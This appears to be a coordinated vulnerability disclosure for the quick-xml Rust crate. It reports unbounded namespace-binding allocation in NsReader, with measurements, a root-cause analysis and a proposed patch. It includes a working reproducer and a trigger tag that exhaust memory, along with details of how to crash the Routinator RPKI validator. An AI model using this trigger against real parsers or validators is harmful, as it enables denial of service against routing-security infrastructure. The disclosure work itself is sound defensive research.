Summary
NsReader::read_resolved_event_into() buffers a start tag, then calls
process_event() (src/reader/ns_reader.rs:80-90, v0.40.1; :166-170 in
v0.39.4), which calls NamespaceResolver::push(&e) before returning the
event to the caller. push() (src/name.rs:674-688, v0.40.1) iterates every
attribute on the start tag and, for each xmlns/xmlns:* binding, calls
add() (name.rs:618-668, v0.40.1), which
extend_from_slices the prefix into self.buffer: Vec<u8> and pushes a
32-byte NamespaceBinding into self.bindings: Vec<NamespaceBinding>. Neither
vector is capped. A start tag with N xmlns:* attributes therefore drives
~(prefix_len + 32) × N bytes of heap allocation (plus Vec amortised-growth
slack, ~1.5×) inside quick-xml, before the NsReader consumer ever sees the
event and has any opportunity to reject it.
A consumer that bounds input bytes (the start tag fits in M bytes) still
incurs ~3.2 × M bytes of NamespaceResolver heap that it cannot observe or
limit. With several concurrent NsReaders on independent inputs the
allocations stack to process-fatal levels.
quick-xml version and build
- quick-xml: 0.39.4 (as bundled by rpki-rs 0.19.3) and 0.40.1 (latest
release, re-confirmed 2026-06-22) — NamespaceResolver::push is
byte-for-byte identical at src/name.rs:674-688; process_event is
identical at src/reader/ns_reader.rs:80-90.
- Rust: 1.86.0 stable,
--release
- Platform: Linux x86_64 (Debian 12, glibc 2.36)
Preconditions and configuration
- Attack surface: any code path that uses
NsReader (or otherwise drives
NamespaceResolver::push) on XML from an untrusted source.
- Object type carrying the trigger: a single XML start tag with N
xmlns:prefix="" attributes.
- Config gate: none —
NsReader always calls push() before yielding
Event::Start/Event::Empty. There is no public knob to cap
bindings.len() or to disable namespace resolution while still using
NsReader's API.
- Default config affected? yes.
Attacker's position and abilities
Any party able to supply XML to an NsReader consumer. Confirmed downstream
impact: NLnet Labs Routinator 0.15.2 (RPKI relying-party validator,
rpki-rs 0.19.3) — any of ~80,000+ delegated RPKI CAs/LIRs worldwide can
deliver a crafted RRDP snapshot.xml over HTTPS; with the default
validation-threads = nproc workers each parsing a distinct repository, 8 ×
~360 MB ≈ 2.88 GB exceeds a 2 GB cgroup limit and the kernel OOM-kills the
process (exit 137). See "Demonstrated downstream impact" below.
Impact
For one NsReader on one start tag of N attributes
xmlns:aXXXXXX="" (7-byte prefix, empty value):
| Component |
Per-attr |
N = 5,000,000 (≈85 MB tag) |
Start-tag I/O buffer (caller's buf) |
~17 B |
~85 MB |
NamespaceResolver.buffer |
7 B |
~35 MB |
NamespaceResolver.bindings (32 B × ~1.5 amortised) |
~48 B |
~240 MB |
| Total per reader |
|
~360 MB |
The 85 MB of input bytes is the only quantity a consumer can bound; the
remaining ~275 MB is allocated inside push() before control returns. With K
concurrent readers the process needs K × 360 MB of headroom or is SIGKILLed by
the kernel OOM killer.
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 7.5 High (CWE-789
Uncontrolled Memory Allocation, CWE-770 Allocation of Resources Without Limits,
CWE-400). Single-reader consumers with generous RSS headroom may rate this
A:L / 5.3; concurrent-reader consumers (the common server pattern) are A:H.
Steps to reproduce
Minimal standalone reproducer:
// cargo new qx-f018 && cd qx-f018
// cargo add [email protected]
use quick_xml::events::Event;
use quick_xml::reader::NsReader;
fn rss_kb() -> u64 {
std::fs::read_to_string("/proc/self/status").unwrap()
.lines().find(|l| l.starts_with("VmRSS:")).unwrap()
.split_ascii_whitespace().nth(1).unwrap().parse().unwrap()
}
fn main() {
let n: usize = std::env::args().nth(1).and_then(|s| s.parse().ok()).unwrap_or(1_000_000);
let mut tag = String::from("<e ");
for i in 0..n { tag.push_str(&format!(r#"xmlns:a{:06}="" "#, i)); }
tag.push_str("/>");
eprintln!("tag bytes = {}, RSS before = {} KB", tag.len(), rss_kb());
let mut r = NsReader::from_str(&tag);
let mut buf = Vec::new();
let _ = r.read_resolved_event_into(&mut buf).unwrap(); // push() runs here
eprintln!("RSS after = {} KB", rss_kb());
}
Measured against quick-xml 0.40.1, cargo build --release:
N=500000 tag_bytes=8500005 rss_before_kb=10540 rss_after_kb=37956 delta_kb=27416 amp=3.30x
N=1000000 tag_bytes=17000005 rss_before_kb=18844 rss_after_kb=73604 delta_kb=54760 amp=3.30x
N=2000000 tag_bytes=35000005 rss_before_kb=36420 rss_after_kb=147820 delta_kb=111400 amp=3.26x
RSS growth ≈ 3.3× input bytes, linear in N, all inside
read_resolved_event_into() before the caller can inspect the event. At
N=5,000,000 (≈85 MB tag) the projected delta is ≈278 MB per reader; under a
256 MB ulimit -v (or cgroup memory.max), the run is killed.
A full network-level Docker PoC against Routinator 0.15.2 is available on
request (8 concurrent malicious RRDP repositories + Routinator under a 2 GB
cgroup; run.sh reproduces SIGKILL exit 137, OOMKilled=true,
peak_rss=1945108 KB, wall=7.58 s).
Trigger object
<e xmlns:a000000="" xmlns:a000001="" … xmlns:a4999999="" />
Prefixes must be distinct; values may be empty.
Current (bug) behaviour
ns_reader.rs:80-90 (v0.40.1):
Ok(Event::Start(e)) => {
self.ns_resolver.push(&e)?; // allocates before returning event
Ok(Event::Start(e))
}
name.rs:674-688 (v0.40.1):
pub fn push(&mut self, start: &BytesStart) -> Result<(), NamespaceError> {
self.nesting_level += 1;
for a in start.attributes().with_checks(false) {
if let Ok(Attribute { key: k, value: v }) = a {
if let Some(prefix) = k.as_namespace_binding() {
self.add(prefix, Namespace(&v))?; // unbounded extend + push
}
} else { break; }
}
Ok(())
}
Expected (correct) behaviour
push() should refuse to allocate beyond a (preferably configurable) cap on
namespace bindings per start tag and return a NamespaceError variant, so that
an NsReader consumer can bound its memory exposure in terms it controls. No
real-world XML dialect needs more than a handful of xmlns:* declarations on a
single element.
Root cause
quick-xml-0.40.1/src/name.rs:674-688 (0.39.4: name.rs:667-700) —
NamespaceResolver::push()/add() grow self.buffer and self.bindings
without limit; quick-xml-0.40.1/src/reader/ns_reader.rs:80-90 (0.39.4:
ns_reader.rs:166-170) calls push() before yielding the event, so the
consumer cannot impose a limit ahead of allocation.
Suggested fix
Add a per-element binding cap to NamespaceResolver, defaulting to a generous
but finite value and exposed on NsReader for callers that need more:
--- a/src/name.rs
+++ b/src/name.rs
@@ pub enum NamespaceError {
+ /// Start tag declares more namespace bindings than the configured limit.
+ TooManyBindings(usize),
@@ impl NamespaceResolver {
+ pub(crate) max_bindings_per_element: usize, // default: 256
@@ pub fn push(&mut self, start: &BytesStart) -> Result<(), NamespaceError> {
self.nesting_level += 1;
+ let mut count = 0usize;
for a in start.attributes().with_checks(false) {
if let Ok(Attribute { key: k, value: v }) = a {
if let Some(prefix) = k.as_namespace_binding() {
+ count += 1;
+ if count > self.max_bindings_per_element {
+ return Err(NamespaceError::TooManyBindings(count));
+ }
self.add(prefix, Namespace(&v))?;
}
--- a/src/reader/ns_reader.rs
+++ b/src/reader/ns_reader.rs
@@ impl<R> NsReader<R> {
+ /// Cap on `xmlns`/`xmlns:*` declarations accepted on a single start tag
+ /// before `NamespaceError::TooManyBindings` is returned. Default: 256.
+ pub fn set_max_bindings_per_element(&mut self, n: usize) -> &mut Self {
+ self.ns_resolver.max_bindings_per_element = n; self
+ }
A cap of 256 is orders of magnitude above any legitimate document (XHTML, SVG,
SOAP, RSS, RRDP all use single-digit counts) and bounds per-reader allocation
to a few KB regardless of input size.
Demonstrated downstream impact (Routinator 0.15.2)
rpki-rs 0.19.3 src/xml/decode.rs:164 calls
NsReader::read_resolved_event_into(); rpki-rs's per-element
BufReadCounter MAX_FILE_SIZE = 100 MB limits stream bytes but cannot see
the ~3.2× NamespaceResolver heap. Routinator's engine.rs:444-472 spawns
validation-threads (= available_parallelism()) workers, each on a distinct
RRDP repository, so the allocations stack. Empirical: 8 workers × ~360 MB →
SIGKILL exit 137, OOMKilled=true, peak_rss=1945108 KB, wall=7.58 s, before
snapshot SHA-256 verification or any per-object signature check. Under systemd
Restart=on-failure this is a permanent crash loop. Precedent: CVE-2021-43174
(Routinator RRDP gzip-bomb OOM, same 7.5 vector). A parallel report has been
sent to NLnet Labs ([email protected]) recommending a consumer-side cap
in rpki-rs.
Coordination
Acknowledgements
Credits: Qifan Zhang (Palo Alto Networks).
Summary
NsReader::read_resolved_event_into()buffers a start tag, then callsprocess_event()(src/reader/ns_reader.rs:80-90, v0.40.1;:166-170inv0.39.4), which calls
NamespaceResolver::push(&e)before returning theevent to the caller.
push()(src/name.rs:674-688, v0.40.1) iterates everyattribute on the start tag and, for each
xmlns/xmlns:*binding, callsadd()(name.rs:618-668, v0.40.1), whichextend_from_slices the prefix intoself.buffer: Vec<u8>andpushes a32-byte
NamespaceBindingintoself.bindings: Vec<NamespaceBinding>. Neithervector is capped. A start tag with N
xmlns:*attributes therefore drives~
(prefix_len + 32) × Nbytes of heap allocation (plusVecamortised-growthslack, ~1.5×) inside quick-xml, before the
NsReaderconsumer ever sees theevent and has any opportunity to reject it.
A consumer that bounds input bytes (the start tag fits in M bytes) still
incurs ~3.2 × M bytes of
NamespaceResolverheap that it cannot observe orlimit. With several concurrent
NsReaders on independent inputs theallocations stack to process-fatal levels.
quick-xml version and build
release, re-confirmed 2026-06-22) —
NamespaceResolver::pushisbyte-for-byte identical at
src/name.rs:674-688;process_eventisidentical at
src/reader/ns_reader.rs:80-90.--releasePreconditions and configuration
NsReader(or otherwise drivesNamespaceResolver::push) on XML from an untrusted source.xmlns:prefix=""attributes.NsReaderalways callspush()before yieldingEvent::Start/Event::Empty. There is no public knob to capbindings.len()or to disable namespace resolution while still usingNsReader's API.Attacker's position and abilities
Any party able to supply XML to an
NsReaderconsumer. Confirmed downstreamimpact: NLnet Labs Routinator 0.15.2 (RPKI relying-party validator,
rpki-rs 0.19.3) — any of ~80,000+ delegated RPKI CAs/LIRs worldwide candeliver a crafted RRDP
snapshot.xmlover HTTPS; with the defaultvalidation-threads = nprocworkers each parsing a distinct repository, 8 ×~360 MB ≈ 2.88 GB exceeds a 2 GB cgroup limit and the kernel OOM-kills the
process (exit 137). See "Demonstrated downstream impact" below.
Impact
For one
NsReaderon one start tag of N attributesxmlns:aXXXXXX=""(7-byte prefix, empty value):buf)NamespaceResolver.bufferNamespaceResolver.bindings(32 B × ~1.5 amortised)The 85 MB of input bytes is the only quantity a consumer can bound; the
remaining ~275 MB is allocated inside
push()before control returns. With Kconcurrent readers the process needs K × 360 MB of headroom or is SIGKILLed by
the kernel OOM killer.
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H— 7.5 High (CWE-789Uncontrolled Memory Allocation, CWE-770 Allocation of Resources Without Limits,
CWE-400). Single-reader consumers with generous RSS headroom may rate this
A:L / 5.3; concurrent-reader consumers (the common server pattern) are A:H.
Steps to reproduce
Minimal standalone reproducer:
Measured against quick-xml 0.40.1,
cargo build --release:RSS growth ≈ 3.3× input bytes, linear in N, all inside
read_resolved_event_into()before the caller can inspect the event. AtN=5,000,000 (≈85 MB tag) the projected delta is ≈278 MB per reader; under a
256 MB
ulimit -v(or cgroupmemory.max), the run is killed.A full network-level Docker PoC against Routinator 0.15.2 is available on
request (8 concurrent malicious RRDP repositories + Routinator under a 2 GB
cgroup;
run.shreproduces SIGKILL exit 137,OOMKilled=true,peak_rss=1945108 KB, wall=7.58 s).Trigger object
Prefixes must be distinct; values may be empty.
Current (bug) behaviour
ns_reader.rs:80-90(v0.40.1):name.rs:674-688(v0.40.1):Expected (correct) behaviour
push()should refuse to allocate beyond a (preferably configurable) cap onnamespace bindings per start tag and return a
NamespaceErrorvariant, so thatan
NsReaderconsumer can bound its memory exposure in terms it controls. Noreal-world XML dialect needs more than a handful of
xmlns:*declarations on asingle element.
Root cause
quick-xml-0.40.1/src/name.rs:674-688(0.39.4:name.rs:667-700) —NamespaceResolver::push()/add()growself.bufferandself.bindingswithout limit;
quick-xml-0.40.1/src/reader/ns_reader.rs:80-90(0.39.4:ns_reader.rs:166-170) callspush()before yielding the event, so theconsumer cannot impose a limit ahead of allocation.
Suggested fix
Add a per-element binding cap to
NamespaceResolver, defaulting to a generousbut finite value and exposed on
NsReaderfor callers that need more:A cap of 256 is orders of magnitude above any legitimate document (XHTML, SVG,
SOAP, RSS, RRDP all use single-digit counts) and bounds per-reader allocation
to a few KB regardless of input size.
Demonstrated downstream impact (Routinator 0.15.2)
rpki-rs 0.19.3src/xml/decode.rs:164callsNsReader::read_resolved_event_into(); rpki-rs's per-elementBufReadCounter MAX_FILE_SIZE = 100 MBlimits stream bytes but cannot seethe ~3.2×
NamespaceResolverheap. Routinator'sengine.rs:444-472spawnsvalidation-threads(=available_parallelism()) workers, each on a distinctRRDP repository, so the allocations stack. Empirical: 8 workers × ~360 MB →
SIGKILL exit 137,
OOMKilled=true,peak_rss=1945108 KB, wall=7.58 s, beforesnapshot SHA-256 verification or any per-object signature check. Under systemd
Restart=on-failurethis is a permanent crash loop. Precedent: CVE-2021-43174(Routinator RRDP gzip-bomb OOM, same 7.5 vector). A parallel report has been
sent to NLnet Labs (
[email protected]) recommending a consumer-side capin rpki-rs.
Coordination
[email protected]), asRoutinator/rpki-rs maintainers and the demonstrated downstream consumer.
quick-xml maintainers' timeline. If a fix lands, a RustSec advisory
(https://github.com/rustsec/advisory-db) is suggested so other
NsReaderdownstreams are notified via
cargo audit.Acknowledgements
Credits: Qifan Zhang (Palo Alto Networks).